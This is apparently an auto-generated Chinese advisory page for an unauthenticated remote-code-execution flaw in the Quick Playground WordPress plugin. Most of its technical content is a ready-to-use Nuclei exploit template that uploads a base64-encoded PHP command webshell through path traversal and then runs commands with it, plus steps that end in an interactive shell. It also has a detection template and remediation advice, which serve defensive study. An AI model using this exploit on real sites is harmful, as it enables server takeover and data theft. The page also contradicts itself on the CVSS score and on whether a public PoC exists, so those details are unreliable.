[webapps] Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution
CVE-2026-1830:WordPress Quick Playground插件1.3.1及之前版本存在未认证远程代码执行漏洞。攻击者可通过sync_code验证绕过和路径遍历上传任意PHP文件,完全控制服务器。本文提供漏洞详情、PoC分析、检测与修复指南。
WordPress Quick Playground插件1.3.1及之前版本未授权RCE,攻击者可上传任意PHP文件。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2026-1830 |
|---|---|
| 漏洞类型 | 路径遍历导致的任意文件上传RCE |
| 受影响版本 | Quick Playground for WordPress <= 1.3.1 |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-05-29 |
| 提交者 | cardosource |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
REST API端点/wp-json/quickplayground/v1/upload_image/{profile}在save_image函数中仅通过sync_code验证(if($code == $sync_code) return true;),未进行WordPress会话认证或权限检查,且未对filename参数做路径过滤,允许../../../路径遍历。
🎯 攻击场景
1. 攻击者获取或猜测sync_code(弱/泄露/可预测);2. 构造POST请求到/wp-json/quickplayground/v1/upload_image/{profile},json body包含sync_code、filename(含路径遍历)和base64编码的PHP webshell;3. 文件被写入web可访问目录;4. 访问webshell URL并传参cmd执行系统命令。
💥 漏洞影响
未认证攻击者可上传任意PHP文件,导致远程代码执行,完全控制WordPress站点,可能导致数据泄露、服务器沦陷、进一步横向移动。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-1830-exploit
info:
name: Quick Playground for WordPress <= 1.3.1 - Unauthenticated RCE
author: cardosource
severity: critical
description: Exploit for CVE-2026-1830 allowing unauthenticated remote code execution via arbitrary file upload.
reference:
- https://www.exploit-db.com/exploits/XXXXX
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-1830
metadata:
max-request: 2
variables:
sync_code: 'exploit123'
profile: 'default'
filename: 'pwned.php'
cmd: 'id'
http:
- raw:
- |
POST /wp-json/quickplayground/v1/upload_image/{{profile}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Content-Type: application/json
{"sync_code":"{{sync_code}}","filename":"../../../{{filename}}","base64":"PD9waHAgJGNtZD0kX0dFVFsnY21kJ107c3lzdGVtKCRjbWQpOyA/Pg=="}
matchers:
- type: word
part: body
words:
- 'saving to'
negative: false
extractors:
- type: regex
part: body
name: message
regex:
- '"message":"(.*?)"'
group: 1
- raw:
- |
GET /{{filename}}?cmd={{cmd}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
matchers:
- type: word
part: body
words:
- 'uid='
- 'root:x:'
condition: or
extractors:
- type: regex
part: body
name: output
regex:
- '(.*?)$'
group: 1🔬 深度技术分析
1. 设置目标URL和sync_code(在本地实验室中通过wp option update qckply_sync_code_default设置为'exploit123');2. 生成随机8字符小写文件名加.php后缀;3. 构造web shell PHP代码;4. 创建json payload:sync_code、包含../../路径遍历的filename、base64编码的shell;5. POST到上传端点;6. 解析响应,若包含'saving to'则上传成功;7. 访问上传文件URL并传参cmd=id执行命令,检查响应中<pre>标签内容确认RCE;8. 进入交互式shell循环。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-1830-detection
info:
name: Quick Playground for WordPress <= 1.3.1 - Detection
author: cardosource
severity: info
description: Detects Quick Playground plugin version <= 1.3.1 by checking the REST API endpoint
reference:
- https://www.exploit-db.com/exploits/XXXXX
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-1830
http:
- method: GET
path:
- '{{BaseURL}}/wp-json/quickplayground/v1/upload_image/default'
headers:
User-Agent: Mozilla/5.0
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'rest_no_route'
- 'No route was found matching the URL and request method'
condition: or
negative: true
- type: status
status:
- 200
- 400
condition: or
extractors:
- type: regex
part: header
name: plugin_version
regex:
- 'X-Plugin-Version: ([0-9.]+)'
group: 1🛡️ 修复建议
暂无官方补丁,建议升级到>1.3.1版本(如有);临时措施:禁用插件,或使用Web应用防火墙规则拦截对/wp-json/quickplayground/v1/upload_image/的POST请求,或通过.htaccess限制该端点仅允许已认证用户访问。
📎 参考链接
- https://www.cve.org/CVERecord?id=CVE-2026-1830
- https://packetstormsecurity.com/files/183554/
- Exploit-DB 原文
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-31 08:10 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 漏洞是否需要认证?
不需要。只需要sync_code值(可能弱、泄露或可预测),无需WordPress会话或权限。sync_code默认值可通过wp option get qckply_sync_code_default获取。
❓ 如何检测是否被攻击?
检查web服务器访问日志中/wp-json/quickplayground/v1/upload_image/的POST请求,响应中包含'saving to'字符串,以及web根目录下突然出现的.php文件。也可用命令find /var/www/html -name '*.php' -mmin -60检查最近上传的PHP文件。
❓ 修复后如何验证?
确定sync_code默认值被删除或更改为强随机值;同时确保对filename参数进行了路径规范化(如realpath)并限制扩展名为图像类型(jpg/png/gif);确认端点已添加current_user_can检查。